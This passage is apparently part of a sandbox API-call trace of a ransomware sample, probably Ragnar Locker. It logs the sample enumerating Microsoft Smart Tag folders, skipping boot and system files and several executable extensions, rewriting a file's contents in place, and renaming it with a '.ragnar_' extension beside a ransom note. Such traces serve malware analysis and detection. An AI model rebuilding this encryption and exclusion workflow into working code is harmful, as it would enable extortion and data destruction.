ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0068.396] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7ac627e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ac627e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.396] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7b01aa40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7b01aa40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0068.396] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0068.396] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0068.396] lstrcpyW (in: lpString1=0x1eab6e, lpString2="BASMLA.XSL" | out: lpString1="BASMLA.XSL") returned="BASMLA.XSL" [0068.396] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned=".XSL" [0068.396] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.396] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="autorun.inf") returned 1 [0068.396] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="boot.ini") returned -1 [0068.396] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="bootfont.bin") returned -1 [0068.396] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="bootsect.bak") returned -1 [0068.396] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="bootmgr") returned -1 [0068.396] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="bootmgr.efi") returned -1 [0068.396] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="bootmgfw.efi") returned -1 [0068.396] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="desktop.ini") returned -1 [0068.396] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="iconcache.db") returned -1 [0068.396] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="ntldr") returned -1 [0068.396] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="ntuser.dat") returned -1 [0068.396] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="ntuser.dat.log") returned -1 [0068.396] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="ntuser.ini") returned -1 [0068.396] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="thumbs.db") returned -1 [0068.396] lstrcmpiW (lpString1=".XSL", lpString2=".db") returned 1 [0068.396] lstrcmpiW (lpString1=".XSL", lpString2=".sys") returned 1 [0068.396] lstrcmpiW (lpString1=".XSL", lpString2=".dll") returned 1 [0068.396] lstrcmpiW (lpString1=".XSL", lpString2=".lnk") returned 1 [0068.396] lstrcmpiW (lpString1=".XSL", lpString2=".msi") returned 1 [0068.396] lstrcmpiW (lpString1=".XSL", lpString2=".drv") returned 1 [0068.396] lstrcmpiW (lpString1=".XSL", lpString2=".exe") returned 1 [0068.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0068.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0068.397] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=227311) returned 1 [0068.397] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x377e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.397] GetProcessHeap () returned 0x580000 [0068.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0068.397] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0068.399] VirtualAlloc (lpAddress=0x0, dwSize=0x377ef, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0068.399] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.399] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0068.399] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x377ef, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x377ef, lpOverlapped=0x0) returned 1 [0068.404] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0068.405] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x377ef, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.405] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x377ef, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x377ef, lpOverlapped=0x0) returned 1 [0068.406] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x377ef, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.406] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.407] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x377ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.407] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.407] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0068.407] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0068.407] WriteFile (in: hFile=0x108, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0068.407] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.407] GetProcessHeap () returned 0x580000 [0068.407] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0068.407] CloseHandle (hObject=0x108) returned 1 [0068.409] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" [0068.409] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.ragnar_FD7BD9FC" [0068.409] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0068.409] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ac627e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ac627e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0068.409] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0068.409] lstrcpyW (in: lpString1=0x1eab6e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0068.410] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\RGNR_FD7BD9FC.txt") returned=".txt" [0068.410] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0068.410] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ac627e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ac627e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0068.410] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0068.410] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0068.410] lstrcmpiW (lpString1="METCONV.DLL", lpString2=".") returned 1 [0068.410] lstrcmpiW (lpString1="METCONV.DLL", lpString2="..") returned 1 [0068.410] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0068.410] lstrcmpiW (lpString1="METCONV.TXT", lpString2=".") returned 1 [0068.410] lstrcmpiW (lpString1="METCONV.TXT", lpString2="..") returned 1 [0068.410] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0068.410] lstrcmpiW (lpString1="MOFL.DLL", lpString2=".") returned 1 [0068.410] lstrcmpiW (lpString1="MOFL.DLL", lpString2="..") returned 1 [0068.410] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0068.410] lstrcmpiW (lpString1="MSTAG.TLB", lpString2=".") returned 1 [0068.410] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="..") returned 1 [0068.410] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7abf03c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7abf03c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0068.410] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0068.410] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0068.410] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 1 [0068.410] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2=".") returned 1 [0068.410] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="..") returned 1 [0068.410] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 0 [0068.410] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0068.410] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7abf03c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7abf03c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0068.410] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7abf03c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7abf03c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.410] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7ac3c680, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ac3c680, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0068.410] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0068.411] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0068.411] lstrcpyW (in: lpString1=0x1eb63a, lpString2="FBIBLIO.DLL" | out: lpString1="FBIBLIO.DLL") returned="FBIBLIO.DLL" [0068.411] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned=".DLL" [0068.411] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.411] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="autorun.inf") returned 1 [0068.411] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="boot.ini") returned 1 [0068.411] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="bootfont.bin") returned 1 [0068.411] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="bootsect.bak") returned 1 [0068.411] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="bootmgr") returned 1 [0068.411] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="bootmgr.efi") returned 1 [0068.411] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="bootmgfw.efi") returned 1 [0068.411] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="desktop.ini") returned 1 [0068.411] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="iconcache.db") returned -1 [0068.411] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="ntldr") returned -1 [0068.411] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="ntuser.dat") returned -1 [0068.411] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="ntuser.dat.log") returned -1 [0068.411] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="ntuser.ini") returned -1 [0068.411] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="thumbs.db") returned -1 [0068.411] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0068.411] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0068.411] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0068.411] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0068.411] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0068.411] lstrcpyW (in: lpString1=0x1eb63a, lpString2="FDATE.DLL" | out: lpString1="FDATE.DLL") returned="FDATE.DLL" [0068.411] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned=".DLL" [0068.411] lstrcmpiW (lpString1="FDATE.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.411] lstrcmpiW (lpString1="FDATE.DLL", lpString2="autorun.inf") returned 1 [0068.411] lstrcmpiW (lpString1="FDATE.DLL", lpString2="boot.ini") returned 1 [0068.411] lstrcmpiW (lpString1="FDATE.DLL", lpString2="bootfont.bin") returned 1 [0068.411] lstrcmpiW (lpString1="FDATE.DLL", lpString2="bootsect.bak") returned 1 [0068.411] lstrcmpiW (lpString1="FDATE.DLL", lpString2="bootmgr") returned 1 [0068.411] lstrcmpiW (lpString1="FDATE.DLL", lpString2="bootmgr.efi") returned 1 [0068.411] lstrcmpiW (lpString1="FDATE.DLL", lpString2="bootmgfw.efi") returned 1 [0068.411] lstrcmpiW (lpString1="FDATE.DLL", lpString2="desktop.ini") returned 1 [0068.411] lstrcmpiW (lpString1="FDATE.DLL", lpString2="iconcache.db") returned -1 [0068.411] lstrcmpiW (lpString1="FDATE.DLL", lpString2="ntldr") returned -1 [0068.412] lstrcmpiW (lpString1="FDATE.DLL", lpString2="ntuser.dat") returned -1 [0068.412] lstrcmpiW (lpString1="FDATE.DLL", lpString2="ntuser.dat.log") returned -1 [0068.412] lstrcmpiW (lpString1="FDATE.DLL", lpString2="ntuser.ini") returned -1 [0068.412] lstrcmpiW (lpString1="FDATE.DLL", lpString2="thumbs.db") returned -1 [0068.412] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0068.412] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0068.412] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0068.412] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0068.412] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0068.412] lstrcpyW (in: lpString1=0x1eb63a, lpString2="FPERSON.DLL" | out: lpString1="FPERSON.DLL") returned="FPERSON.DLL" [0068.412] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned=".DLL" [0068.412] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.412] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="autorun.inf") returned 1 [0068.412] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="boot.ini") returned 1 [0068.412] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="bootfont.bin") returned 1 [0068.412] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="bootsect.bak") returned 1 [0068.412] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="bootmgr") returned 1 [0068.412] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="bootmgr.efi") returned 1 [0068.412] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="bootmgfw.efi") returned 1 [0068.412] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="desktop.ini") returned 1 [0068.412] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="iconcache.db") returned -1 [0068.412] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="ntldr") returned -1 [0068.412] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="ntuser.dat") returned -1 [0068.412] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="ntuser.dat.log") returned -1 [0068.412] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="ntuser.ini") returned -1 